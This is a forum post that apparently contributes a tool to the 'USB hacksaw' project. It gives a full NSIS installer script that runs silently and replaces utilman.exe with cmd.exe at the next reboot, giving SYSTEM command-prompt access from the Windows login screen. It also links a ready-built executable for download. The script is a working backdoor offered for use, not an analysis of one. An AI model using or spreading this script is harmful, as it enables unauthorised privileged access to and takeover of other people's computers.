hacksaw gain system privs

[powerjuce]

Ok, so i was really interested in the post which described switching the utilman.exe with cmd.exe which would give u access to the system account, as you could then launch the command prompt from the login screen.

I am sure someone has already come up with a solution, but here is my idea.

I used a complier called NSIS, which is mainly used for creating Installers. It is also used to create the launchers on the portableapps.com site.

!define NAME "ChangeFilesReboot"
!define VER "1.0.0.0"

;=== Program Details
Name "${NAME}"
OutFile "${NAME}.exe"
Caption "${NAME}"
VIProductVersion "${VER}"
VIAddVersionKey ProductName "${NAME}"
VIAddVersionKey Comments ""
VIAddVersionKey CompanyName "PB Inc."
VIAddVersionKey LegalCopyright "There is None"
VIAddVersionKey FileDescription "${NAME}"
VIAddVersionKey FileVersion "${VER}"
VIAddVersionKey ProductVersion "${VER}"
VIAddVersionKey InternalName "{NAME}"
VIAddVersionKey LegalTrademarks ""
VIAddVersionKey OriginalFilename "${NAME}.exe"
;VIAddVersionKey PrivateBuild ""
;VIAddVersionKey SpecialBuild ""

;=== Runtime Switches
CRCCheck On
WindowIcon Off
SilentInstall Silent
AutoCloseWindow True
RequestExecutionLevel user

;==== Best Compression
SetCompress Auto
SetCompressor /SOLID lzma
SetCompressorDictSize 32
SetDatablockOptimize On

Section "Main"
Rename /REBOOTOK `$WINDIR\system32\utilman.exe` `$WINDIR\system32\utilman.old`
CopyFiles /Silent `$WINDIR\system32\cmd.exe` `$WINDIR\system32\utilman.exe`
SectionEnd

Go to this site: http://nsis.sourceforge.net/Main_Page

and download the main app which will be a compiler, compile this app and then allow it to run. It will show nothing, but that is what it is supposed to do. When you reboot and check your system32 folder you will see that "utilman.exe" is now "utilman.old" and "cmd.exe" was copied to create "utilman.exe"

I hope that this addition will help the usb hacksaw project

~regards

powerjuce

[powerjuce]

I added a link to the download. It is a direct download, so i suggest you don't hit "run".

http://patrickpatience.com/nascent-project...FilesReboot.exe

so now you do not have to get the compiler to check out the file.